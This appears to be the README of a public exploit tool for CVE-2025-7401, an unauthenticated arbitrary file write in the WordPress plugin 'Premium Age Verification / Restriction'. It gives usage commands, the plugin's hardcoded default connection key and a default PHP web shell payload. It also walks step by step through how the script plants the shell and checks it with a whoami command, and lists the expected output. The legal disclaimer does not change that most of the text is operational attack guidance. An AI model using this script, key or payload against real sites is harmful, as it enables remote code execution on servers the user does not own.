
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Unauthenticated Arbitrary File Read and Write
Premium Age Verification / Restriction for WordPress <= 3.0.2 - Unauthenticated Arbitrary File Read and Write
The "Premium Age Verification / Restriction for WordPress" plugin contains an insufficiently protected remote support endpoint in remote_tunnel.php. In affected versions up to and including 3.0.2, this endpoint can be abused for unauthenticated arbitrary file read and write. Successful exploitation may expose sensitive information or allow remote code execution.
CVE-2025-7401.py# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com
# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
remote_tunnel.php./wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php with parameters: action=save_file, file, file_content.remote_init.php.If you discover this vulnerability on third-party infrastructure:
Unauthorized use of vulnerability testing tools is illegal in many jurisdictions. This repository and script are intended solely for defensive research, authorized testing, and coordinated vulnerability disclosure. Always obtain explicit written permission before testing systems you do not own.
The author and contributors accept no responsibility for misuse of the information or tools. Use this material only within legal and ethical boundaries.
By: Nxploited ( Khaled Alenazi )
| Flag | Type | Default | Description |
|---|
| -u, --url | string | required | Target domain or partial URL. The script will append the plugin endpoint when necessary. Examples: example.com, https://example.com, example.com/wp-content/plugins/age-restriction/. |
| -key, --key | string | 330489965d8266a739442ef890f57805 | Connection key used by the remote support endpoint. Override for lab targets if needed. |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | PHP snippet to inject as file content. Only change for authorized testing. |
| --no-verify | flag | false | If present, the script will not perform the optional GET verification of the written file. |
| Step | Action | Details |
|---|
| 1 | Input normalization | Accepts user input (domain or partial path). Ensures scheme (http:// if missing), removes duplicate slashes, and appends /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php if the endpoint is not present. |
| 2 | Header construction | Builds realistic HTTP request headers (rotating user-agent selection, Accept, Referer, Content-Type). |
| 3 | Payload encoding | Base64-encodes the provided PHP snippet and places it in file_content. |
| 4 | POST exploit request | Sends connection_key, action=save_file, file (server path), and file_content to the normalized remote_tunnel.php endpoint via application/x-www-form-urlencoded. |
| 5 | Response parsing | Attempts to parse JSON out of the response body. If JSON exists, prints status and file_path; otherwise prints cleaned raw response. |
| 6 | Verification (optional) | Attempts a GET to /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami to check whether the injected file is accessible and returns content. Optional via --no-verify. |
| 7 | Reporting | Prints a structured, human-readable report including the endpoint used, HTTP status, parsed JSON (if any), expected shell URL, and truncated verification output (if successful). |
| Output Field | Meaning | Example |
|---|
| Target endpoint | Final normalized URL contacted (full path to remote_tunnel.php). | http://example.com/wp-content/.../remote_tunnel.php |
| HTTP Status Code | HTTP response code from POST request. 200 often indicates request processed. | 200 |
| Response JSON status | If the endpoint returns JSON, the status field reports success/failure. | valid |
| Response JSON file_path | Server-side path returned by the endpoint showing where it wrote the file (informational). | /var/www/html/wp-content/.../remote_init.php |
| Raw response | Non-JSON response body (cleaned) such as PHP notices or messages. | Notice: ... |
| Shell URL (expected) | The public URL where the injected file would be accessible. Use only for verification in authorized tests. | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| Verification HTTP Status | HTTP status of the optional GET verification. | 200 |
| Verification body (truncated) | First N characters of verification response body (useful to see command output). | www-data |